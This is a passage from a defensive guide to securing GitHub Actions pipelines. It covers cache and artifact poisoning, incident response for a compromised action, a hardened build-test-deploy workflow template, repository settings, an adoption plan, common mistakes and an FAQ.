Stream the organization audit log to your SIEM and alert on: new self-hosted runners, changes to Actions policies, new secrets or environment changes, workflow files modified outside pull requests, and new OIDC trust policy changes in your cloud accounts. Enable repository rulesets insights to see bypass events.

Cache, artifact, and dependency poisoning

Hardening the workflow text is not enough if a lower-trust run can place poisoned data into something a higher-trust run consumes.

Caches

GitHub Actions caches are scoped by branch: a run can read caches from its own branch and the default branch (and the base branch for PRs) but not from sibling branches. Pull request caches can therefore not directly poison main. The risk arises when a privileged job on a lower-trust ref writes a cache that a privileged job later restores, or when a workflow triggered by pull_request_target or workflow_run runs in the context of the default branch and writes a cache entry using attacker-influenced content, which then becomes visible to default-branch runs.

Rules:

  1. Do not restore caches in release and publish jobs unless you can verify them. Build release artifacts from clean state, or restore only content-addressed caches whose key is a hash of a lock file.
  2. Make only trusted refs write caches: for Gradle's setup action use cache-read-only: true on all but the default branch.
  3. Never run privileged workflows that both consume attacker-controlled input and write caches.
  4. Use lockfile-hash cache keys and verify dependencies against lockfile integrity hashes after restoring.

Artifacts

Artifacts uploaded by a pull request workflow are untrusted. A downstream privileged workflow (see the workflow_run pattern in the section on pull_request versus pull_request_target) must validate, not execute, them. Do not download an artifact and chmod +x and run it. For releases, build the artifact once in a trusted job, attest it, and have deployment verify the attestation (see the SLSA post linked at the start).

Dependency installation in privileged jobs

Lifecycle scripts run arbitrary code with the job's privileges. In jobs that hold secrets, install with scripts disabled (npm ci --ignore-scripts, pip install --require-hashes, bundle config set --local frozen true), install from lockfiles only, and use package-manager registries through an internal proxy where possible. For deep coverage of the npm side, see the npm supply chain defense post linked above.

GitHub's 2026 security roadmap

In March 2026 GitHub published a security roadmap for Actions, organized around three layers: the ecosystem (making dependencies deterministic and publishing more secure), the attack surface (policy controls, safer defaults, scoped credentials), and the execution infrastructure (runner-level controls such as network egress). Based on GitHub's announcement and secondary coverage, the notable planned items are:

Roadmap itemWhat it aims to doHow to prepare today
Workflow-level dependency lockingA lockfile-like mechanism pinning direct and transitive action dependencies to commit SHAs with hashes, with changes visible in pull request diffsPin to SHAs now; keep actions few; follow the changelog for the actual syntax and availability, because secondary sources disagree on the schedule
Policy-driven execution through rulesetsOrganization-wide rules controlling who can trigger workflows and which events are allowedAdopt rulesets and required workflows now so policy lives in one place
Scoped secrets and safer defaultsNarrower secret availability and tighter default behaviour of risky triggersUse environments, explicit secret passing, and avoid pull_request_target
Native egress firewall for hosted runnersNetwork allow-listing for GitHub-hosted runners without third-party agentsRecord each workflow's real network needs using Harden-Runner audit mode so a future allow list is easy to write
Immutable releases and actions publishingReleases and tags that cannot be altered after publicationEnable immutable releases on repositories that publish actions
OIDC claims from repository custom propertiesTrust policies that key off properties such as environment tierDefine custom properties (for example tier: production) and plan policies around them; verify availability

Treat the table as direction, not a contract. Features in this list may ship with different names, in public preview, or on different dates than third-party summaries suggest. Subscribe to the GitHub changelog and the Actions security roadmap post (linked below) and verify before you plan around any item. The practical consequence is that the work you do now (SHA pins, least privilege, OIDC, rulesets) is the same work that will make adopting the new platform controls easy.

Incident response: an action you use was compromised

Assume it will happen. The fastest responders are the ones who rehearsed.

Triage in the first hour

1. CONFIRM        Read the advisory. Which versions, tags, SHAs, and dates were affected?
2. SCOPE          Search your org for the action: gh search code "uses: owner/action" --owner my-org
3. FREEZE         Disable affected workflows or pin to a known-good SHA via emergency PR.
4. EXPOSURE       List runs that executed during the window; list every secret/permission those jobs had.
5. ROTATE         Rotate every secret reachable by those runs. Assume all were read.
6. HUNT           Review logs, audit log, cloud trails, and package registries for misuse.
7. RECOVER        Re-pin to verified SHA or replace the action; re-run clean builds.
8. LEARN          Write the post-incident review; add the control that would have prevented it.

Find the exposure

List runs in the affected window with the GitHub CLI:

# All runs for a repo between two timestamps
gh run list --repo my-org/my-repo --limit 200 \
  --json databaseId,workflowName,createdAt,conclusion,headBranch \
  --jq '.[] | select(.createdAt >= "2026-03-12T00:00:00Z" and .createdAt <= "2026-03-16T00:00:00Z")'

# Find workflows using the action across an organization
gh search code --owner my-org "some-org/compromised-action" --filename ".yml"

For a compromise that prints secrets into logs, inspect the logs of affected runs for unexpected base64 blobs and, for public repositories, assume the logs were public. For a compromise that exfiltrates over the network, cloud and proxy logs plus Harden-Runner egress data show where the data went.

Rotation order

Rotate by blast radius and by speed of abuse:

  1. Cloud credentials and registry publish tokens (npm, PyPI, container registries, app stores).
  2. Deployment keys, SSH keys, signing keys.
  3. API tokens for third-party services.
  4. GITHUB_TOKEN is ephemeral and expires at the end of the job; PATs and GitHub App private keys do not.
  5. OIDC trust policies: tighten them; no rotation is needed because nothing was stored, which is the point of the OIDC section.

After rotating, check for persistence: new deploy keys, new collaborators, new workflow files, new OAuth apps, new webhooks, modified branch protection, modified releases or tags, malicious commits attributed to bot accounts.

If you are the maintainer of the compromised action

Revoke tokens and sessions of every maintainer, rotate all repository secrets, force-reset tags to legitimate commits and publish a clear advisory with affected SHAs and a recommended safe SHA, enable immutable releases and 2FA with hardware keys, and remove bot accounts with broad PATs in favour of GitHub Apps with narrow permissions.

Prepare in advance

  • Maintain a dependency inventory of actions (a periodic script that greps uses: lines into a spreadsheet).
  • Keep secret inventory with owners and rotation procedures.
  • Practice a tabletop: "action X was compromised yesterday, go."
  • Make sure the person on call can edit workflows quickly (CODEOWNERS should not block an emergency fix; define an emergency path with post-hoc review).

A hardened workflow template

This template combines the controls above for a typical build, test, and deploy pipeline. Replace the placeholder SHAs with reviewed ones.

name: ci-cd

on:
  pull_request:
  push:
    branches: [main]
    tags: ["v*"]

# Deny by default. Each job grants what it needs.
permissions: {}

# One run per ref; cancel superseded PR runs but never cancel main or tag runs.
concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: ${{ github.event_name == 'pull_request' }}

defaults:
  run:
    shell: bash

jobs:
  audit-workflows:
    runs-on: ubuntu-latest
    timeout-minutes: 5
    permissions:
      contents: read
      security-events: write
      actions: read
    steps:
      - uses: step-security/harden-runner@<full-40-char-sha>   # reviewed release
        with:
          egress-policy: audit
      - uses: actions/checkout@<full-40-char-sha>              # v6.0.2
        with:
          persist-credentials: false
      - uses: zizmorcore/zizmor-action@<full-40-char-sha>      # reviewed release

  test:
    runs-on: ubuntu-latest
    timeout-minutes: 20
    permissions:
      contents: read
    steps:
      - uses: step-security/harden-runner@<full-40-char-sha>
        with:
          egress-policy: audit
      - uses: actions/checkout@<full-40-char-sha>
        with:
          persist-credentials: false
      - uses: actions/setup-node@<full-40-char-sha>
        with:
          node-version: "24"
          cache: npm
      - run: npm ci --ignore-scripts
      - run: npm test

  build:
    needs: [test]
    if: github.event_name == 'push'
    runs-on: ubuntu-latest
    timeout-minutes: 20
    permissions:
      contents: read
      id-token: write         # for build provenance attestation
      attestations: write
    outputs:
      artifact-digest: ${{ steps.digest.outputs.digest }}
    steps:
      - uses: actions/checkout@<full-40-char-sha>
        with:
          persist-credentials: false
      - uses: actions/setup-node@<full-40-char-sha>
        with:
          node-version: "24"
      - run: npm ci --ignore-scripts && npm run build
      - run: tar -czf dist.tgz dist
      - id: digest
        run: echo "digest=sha256:$(sha256sum dist.tgz | cut -d' ' -f1)" >> "$GITHUB_OUTPUT"
      - uses: actions/attest-build-provenance@<full-40-char-sha>
        with:
          subject-path: dist.tgz
      - uses: actions/upload-artifact@<full-40-char-sha>
        with:
          name: dist
          path: dist.tgz
          retention-days: 14

  deploy:
    needs: [build]
    if: github.ref == 'refs/heads/main'
    runs-on: ubuntu-latest
    timeout-minutes: 15
    environment:
      name: production           # required reviewers + branch restriction
      url: https://app.example.com
    permissions:
      contents: read
      id-token: write           # OIDC to the cloud; no stored keys
    steps:
      - uses: actions/download-artifact@<full-40-char-sha>
        with:
          name: dist
      - uses: aws-actions/configure-aws-credentials@<full-40-char-sha>
        with:
          role-to-assume: arn:aws:iam::123456789012:role/gha-deploy-production
          aws-region: eu-west-1
      - name: Verify artifact digest
        env:
          EXPECTED: ${{ needs.build.outputs.artifact-digest }}
        run: |
          actual="sha256:$(sha256sum dist.tgz | cut -d' ' -f1)"
          [ "$actual" = "$EXPECTED" ] || { echo "digest mismatch" >&2; exit 1; }
      - name: Deploy
        run: |
          tar -xzf dist.tgz
          aws s3 sync dist s3://example-app-production --delete

Features worth calling out: a deny-by-default token, per-job permission grants, no secrets at all (OIDC replaces keys), persist-credentials: false, no lifecycle scripts, the build job separated from deploy, an environment gate in front of production, runtime egress auditing, a verified artifact digest between jobs, and a workflow linter running on every change.

Companion repository settings

Repository / organization settings
  Actions permissions       : allow select actions; require full-length SHA pinning
  Workflow permissions      : read repository contents and packages (default)
  PR creation by Actions    : disabled (unless required)
  Fork PR workflows         : require approval for all outside collaborators
  Rulesets (default branch) : PR required, code owner review, required checks, no force push
  Rulesets (tags v*)        : no update, no delete
  Environments              : production -> required reviewers, deploy from main and v* only
  Secret scanning           : enabled, with push protection
  Dependabot                : version updates for github-actions, security updates enabled
  Immutable releases        : enabled for repositories that publish releases/actions

Adoption plan: a four-week lab

Do these in order, because each week removes a class of attack that the next week would otherwise inherit.

Week 1: stop the bleeding

  1. Set organization default GITHUB_TOKEN permissions to read-only.
  2. Add permissions: {} at the top of every workflow and grant per job (a codemod or script can add the block and fail CI when missing).
  3. Add persist-credentials: false to checkouts that do not push.
  4. Run zizmor locally across all repositories; triage the high-severity findings.

Week 2: dangerous triggers and injection

  1. Inventory every use of pull_request_target, workflow_run, issue_comment, and workflow_dispatch inputs.
  2. Rewrite any workflow that checks out PR code in a privileged context using the split pattern.
  3. Move all expression interpolation inside run: scripts into env:.
  4. Require approval for outside collaborators' workflows.

Week 3: pinning and updates

  1. Pin all third-party actions to SHAs with version comments (the pinact tool, Renovate's pinning preset, or zizmor's autofix can do this in bulk; verify each tool's current behaviour).
  2. Turn on the SHA-pinning policy and the allowed-actions list.
  3. Configure Dependabot or Renovate with a cooldown.
  4. Add CODEOWNERS and rulesets for .github/.

Week 4: remove stored credentials and add detection

  1. Replace cloud keys with OIDC; tighten trust policies to repo plus environment.
  2. Move npm publishing to trusted publishing.
  3. Create environments with reviewers for production; move production secrets into them.
  4. Add Harden-Runner in audit mode and Scorecard on a schedule.
  5. Run a tabletop for a compromised action.

Where this usually goes wrong

  1. Using pull_request_target and checking out the PR head so tests "can see the code".
  2. Interpolating github.head_ref or PR titles into run: because it was convenient for a log line.
  3. Trusting @v4-style tags from third parties and assuming "popular" means "safe".
  4. A single org-wide PAT that every workflow uses for convenience.
  5. OIDC trust policies with wildcards, such as every repository in the organization or every branch.
  6. Granting id-token: write workflow-wide when only the deploy job needs it.
  7. Leaving persist-credentials at its default and then running dependency installs that can read the .git/config token.
  8. Secrets in repository scope for production, readable by any workflow in the repository including those on feature branches.
  9. Running untrusted pull requests on a persistent self-hosted runner.
  10. Treating secrets: inherit as free, passing every secret to a shared workflow that needs one.
  11. Caching in release jobs, so a poisoned cache lands in a shipped artifact.
  12. Pinning once and never updating, leaving known-vulnerable action versions in place for years.
  13. Auto-merging action updates that handle credentials without reading the diff.
  14. No branch rules on workflow files, so one compromised account rewrites the pipeline.
  15. Disabling a failing zizmor or Scorecard check without a recorded reason, which turns the tool into noise.

Trade-offs, and when to skip a control

  • SHA pinning everything in a throwaway or internal sandbox repository that holds no secrets and cannot publish anything: the maintenance cost may outweigh the benefit. Still set permissions there.
  • Blocking egress on day one. Turning Harden-Runner or a firewall to block mode before learning legitimate endpoints will break builds and push people to disable it. Run audit first.
  • Hand-writing OIDC trust policies per branch for a tiny project. An environment-scoped subject with one role may be enough; do not build a policy matrix you cannot maintain.
  • Self-hosting runners "for security". Self-hosted runners are a security liability unless you can run them ephemerally and isolate them. Use hosted runners unless you have a requirement they cannot meet.
  • Over-restrictive CODEOWNERS that block emergency fixes. Provide an audited break-glass path.
  • Required workflows for every tiny repository if they create review noise nobody reads; target the repositories that publish artifacts or deploy.
  • Relying on any one tool. Linters find patterns, not intent; no scanner replaces reading a workflow that handles secrets.

Questions that come up

Is uses: actions/checkout@v4 safe, since GitHub owns it? It is much lower risk than an unknown maintainer, but a tag is still mutable and GitHub's own guidance recommends SHA pinning for anything you rely on. Pinning costs nothing once automation updates the SHA.

Do I need to pin the actions inside a reusable workflow I call by SHA? Yes. The reusable workflow's own uses: lines are resolved when it runs. Pin them inside the called workflow, in the repository where it lives.

Does pull_request expose secrets to fork PRs? No. For forks the token is read-only and secrets are not provided, except GITHUB_TOKEN in its restricted form. For pull requests from branches in the same repository, secrets are available, which is why branch-based PRs from compromised accounts still matter.

Can Dependabot update SHA-pinned actions? Yes, when the SHA has a version comment; it proposes a new SHA and updates the comment. Confirm its behaviour on your repository with a test pull request.

How do I let an AI coding agent work with my workflows safely? Treat agent-authored pull requests as untrusted-ish contributions: the agent should open pull requests that pass through the same required reviews, run zizmor, and never receive production environment secrets. Do not let an agent trigger workflow_dispatch of production deploys without the environment's human approval. Any instruction an agent reads from issue text or PR comments is attacker-controlled input, so never pass it to a privileged step.

What is the minimum I should do today if I only have an hour? Set default token permissions to read-only, add permissions: {} plus per-job grants to your deploy workflows, run zizmor on the repository, and fix any workflow that uses pull_request_target with a checkout of PR code.

Sources and docs